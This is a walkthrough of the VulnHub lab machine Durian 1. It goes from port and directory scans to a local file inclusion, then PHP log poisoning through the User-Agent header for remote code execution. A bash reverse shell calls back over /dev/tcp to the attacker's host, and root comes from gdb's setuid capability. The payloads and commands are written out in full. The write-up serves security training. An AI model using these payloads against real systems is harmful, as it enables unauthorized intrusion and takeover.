Durian 1

Walkthrough of the Durian 1 machine from Vulnhub

Durian 1

Link to VulnHub

In the description indicates that the machine is for VM Workstation 15.x Pro. On Proxox I had problems as it did not expose port 80 and on VirtualBox I had to reset it several times and allocate more resources because it stopped working properly, so I recommend taking a snapshot of the machine before starting.

Getting target machine IP

The first thing we are going to do is try to find out what i the IP of the target machine. To do this we will use nmap an we indicate that we want to do a ping scan (-sn) for the entire network we are currently in. If you are not as root user, it is recommended to use sudo to obtain additional information of the devices that are in the network:

sudo nmap -sn 10.0.0.1/24

Result (relevant):

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 11:18 CET ... MAC Address: BE:6D:67:8D:E4:46 (Unknown) Nmap scan report for 10.0.0.103 Host is up (0.00082s latency). ...

Nmap tells us that the IP of the target machine is the following:

  • 10.0.0.103

In case it is a virtual machine we can verify this by checking if the MAC addresses of the network cards are the same.

The next thing we are going to do is to add the IP of the target machine to our /etc/hosts. In this way we will not need to remember the IP and we can use the name we give it. We edit the /etc/hosts file and add the following line at the end of it:

10.0.0.103 durian1.ctf

Now if we run ping durian1.ctf -c 1 we should get the following response:

PING durian1.ctf (10.0.0.103) 56(84) bytes of data. 64 bytes from durian1.ctf (10.0.0.103): icmp_seq=1 ttl=64 time=10.8 ms --- durian1.ctf ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 10.792/10.792/10.792/0.000 ms

This confirms that it correctly resolves the hostname we have specified.

Port scanning

Once we have the IP of the target machine, what we are going to do is try to detect the opened ports. To do this we will launch another scan with nmap against the entire port range (-p-) using the fastest timing template (-T5), filtering by the open ports (--open), and disabling DNS resolution (-n) and host discovery (-Pn):

nmap -p- -T5 --open -Pn -n durian1.ctf

Result:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 16:03 CET Nmap scan report for durian1.ctf (10.0.0.103) Host is up (0.00069s latency). Not shown: 65530 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 7080/tcp open empowerid 8000/tcp open http-alt 8088/tcp open radan-http Nmap done: 1 IP address (1 host up) scanned in 0.97 seconds

From this scan we get the following ports are open: 22 (SSH), 80 (HTTP), 7080 (EMPOWERID), 8000 (HTTP-ALT), and 8088 (RADAN-HTTP). Knowing that these ports are open, the next thing we are going to do is to try to detect which services are being exposed and their versions (-sCV):

nmap -p 22,7080,8000,8088 -sCV durian1.ctf

Relevant result (part of the output has been eliminated):

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 16:05 CET Nmap scan report for durian1.ctf (10.0.0.103) Host is up (0.00038s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 281c64fa9cc3d2d4bb763d3b10e2b125 (RSA) | 256 dab2e17f7c1b58cffd4f74e9236d51d7 (ECDSA) |_ 256 41e10c2bd426e8d371bb9df9615663c0 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Durian 7080/tcp open ssl/empowerid LiteSpeed | http-title: LiteSpeed WebAdmin Console |_Requested resource was https://durian1.ctf:7080/login.php | ssl-cert: Subject: commonName=durian/organizationName=LiteSpeedCommunity/stateOrProvinceName=NJ/countryName=US | Not valid before: 2020-09-08T02:05:32 |_Not valid after: 2022-12-07T02:05:32 |_ssl-date: TLS randomness does not represent time |_http-server-header: LiteSpeed | fingerprint-strings: | ... | tls-alpn: | h2 | spdy/3 | spdy/2 |_ http/1.1 8000/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-open-proxy: Proxy might be redirecting requests |_http-title: Durian 8088/tcp open radan-http LiteSpeed |_http-title: Durian |_http-server-header: LiteSpeed | fingerprint-strings: | ... 2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service : ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== ... ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== ... Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 110.82 seconds

From the result of the more detailed scan we get the following:

  • 22/tcp: SSH - OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
  • 80/tcp: HTTP - Apache httpd 2.4.38 ((Debian))
  • 7080/tcp: SSL/EMPOWERID - LiteSpeed
  • 8000/tcp: HTTP - nginx 1.14.2
  • 8088/tcp: RADAN-HTTP - LiteSpeed

Summarizing the scan result:

  • SSH: 22
  • HTTPS: 7080
  • HTTP: 80, 8000 y 8088

Analyzing the HTTP service (80/TCP)

Since we have an HTTP service exposed on port 80, what we are going to do is try to see what is being exposed on that port by accessing the url http://durian1.ctf in the browser.

When accessing we see that the content of the page is only an image which is not currently available. That resource is in an external URL so we cannot do anything to see what its content was. As in http://durian1.ctf we do not find anything interesting, we are going to make a brute force attack to discover more paths and files.

To perform this attack we will use Gobuster telling it that we want to list directories (dir) against the IP of the target machine (-u), using additional extensions (-x), using a directory listing oriented dictionary (-w), and limiting the number of threads to 3 (-t):

gobuster dir -u http://durian1.ctf -x html,txt,php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 3

Result:

=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://durian1.ctf [+] Method: GET [+] Threads: 3 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: html,txt,php [+] Timeout: 10s =============================================================== 2023/03/25 16:22:28 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 765] /blog (Status: 301) [Size: 309] [--> http://durian1.ctf/blog/] /server-status (Status: 403) [Size: 276] /cgi-data (Status: 301) [Size: 313] [--> http://durian1.ctf/cgi-data/] =============================================================== 2023/03/25 16:23:33 Finished ===============================================================

From the scan we obtain that there are 3 more paths that can be interesting:

  • /blog: which redirects to /blog/
  • /server-status: which we do not have access to it
  • /cgi-data: which redirects to /cgi-data/

If we try to access http://durian1.ctf/blog/ we see that it does not return any content. On the other hand, if we access http://durian1.ctf/cgi-data/ we see that we have directory listing capability. In this case we see that we have a PHP script called getImage.php. If we access the url http://durian1.ctf/cgi-data/getImage.php and see its content we find the following (in Firefox we can see the content by prefixing the URL with view-source:):

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> /* </?php include $_GET['file']; */ </body> </html>

In the content of the response we see that it is indicating that the script expects the file parameter so we are going to try to read some interesting file from the system. For it we put in the browser view-source:http://durian1.ctf/cgi-data/getImage.php?file=/etc/passwd obtaining the following result (relevant):

root:x:0:0:root:/root:/bin/bash ... durian:x:1000:1000:durian,,,:/home/durian:/bin/bash ... mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false

It seems that an LFI (local file inclusion) is happening. From the above request we obtain that there are two users in the system:

  • root
  • durian

Ganando acceso a la máquina víctima

Gaining access to the target machine

The next thing we are going to try is to convert the LFI (local file inclusion) we have already discovered into an RCE (remote command execution). A common way to achieve this is by log poisoning. The log poisoning consists of looking for a way to introduce an instruction in PHP in a log that we can interpret by using the LFI with PHP (in this case).

If we try to access the typical files where we can find both authentication and Apache logs, we will see that we do not have access to them. As we don't know where is a log that we can write and read we are going to try to access it through the /proc/self/fd/ descriptors. To do this we are going to create a small Python script that will list all the descriptors until we find the descriptor of the Apache access log or some other log to which we can add content from outside the target machine.

import requests url = "http://durian1.ctf/cgi-data/getImage.php?file=/proc/self/fd/" for i in range(10): r = requests.get(url + str(i)); print(f"{i} - {len(r.text)}");

Execution result:

0 - 241 1 - 241 2 - 241 3 - 241 4 - 241 5 - 241 6 - 7789 7 - 241 8 - 2943 9 - 241

As we can see, there are 2 descriptors that have more content than the others, the 6 and 8 descriptors. If we curl "http://durian1.ctf/cgi-data/getImage.php?file=/proc/self/fd/8" we can see that we have something similar to the access.log of Apache, in which we can see the path of the request and the user-agent. As we have the ability to write a system log and its interpretation in PHP we can get RCE through the LFI.

To do this, we are going to make a request to the server in which the user-agent is the following:

User-Agent: <?php system($_GET['cmd']); ?>

In this way we can execute the command we want by simply using the cmd parameter. For example, if we curl "http://durian1.ctf/cgi-data/getImage.php?file=/proc/self/fd/8&cmd=id" in the results we will see uid=33(www-data) gid=33(www-data) groups=33(www-data). This way we confirm that we have remote execution of commands and that the user with which Apache is running is www-data.

Now that we have Remote Command Execution (RCE) on the target machine, the next thing we can do is try to start a reverse shell to be able to work more comfortably. The first thing we do is to listen in on our machine via Netcat:

nc -nlvp 8888

Receiving the confirmation message that we are listening:

listening on [any] 8888 ...

Then, through the shell that we have generated in the server we execute a command to establish a connection to our Netcat (/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.100/8888 0>&1'). To do this we do a url encode of the command and pass it through the cmd parameter of the url http://durian1.ctf/cgi-data/getImage.php?file=/proc/self/fd/8&cmd=/bin/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.100/8888%200%3E%261%27 obtaining the following result:

connect to [10.0.0.100] from (UNKNOWN) [10.0.0.103] 49542 bash: cannot set terminal process group (470): Inappropriate ioctl for device bash: no job control in this shell www-data@durian:/var/www/html/cgi-data$

Now, in order to have a fully interactive shell, we launch a pseudo console with script /dev/null -c bash, press Ctrl + z and do a tty treatment with stty raw -echo; fg. We type reset to restart the terminal configuration, specify xterm as terminal type and export 2 environment variables:

  • export TERM=xterm
  • export SHELL=bash

With this we should be able to do Ctrl + c to end the execution of a command, or Ctrl + l to clear the terminal. We can also go back in the command history.

Pivotando al usuario root

If we list user binary capabilities with getcap -r / 2>/dev/null we get the following result:

/usr/bin/gdb = cap_setuid+ep /usr/bin/ping = cap_net_raw+ep

If we look in GTFOBins for the binaries for which we have capabilities we get to the next page about GDB. If you go down to the last section, the Capabilities section it tells you that you can get a privileged shell using the following command:

./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

In our case, we have to adjust the gdb path by letting it resolve through the PATH, and changing the sh to a bash:

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!bash' -ex quit

Result:

GNU gdb (Debian 8.2.1-2+b3) 8.2.1 Copyright (C) 2018 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word". root@durian:/# id uid=0(root) gid=33(www-data) groups=33(www-data)

With this we would already have access as root to the target machine.

If we list the contents of the home directory of the root user /root we find the flag (proof.txt): SunCSR_Team.af6d45da1f1181347b9e2139f23c6a5b.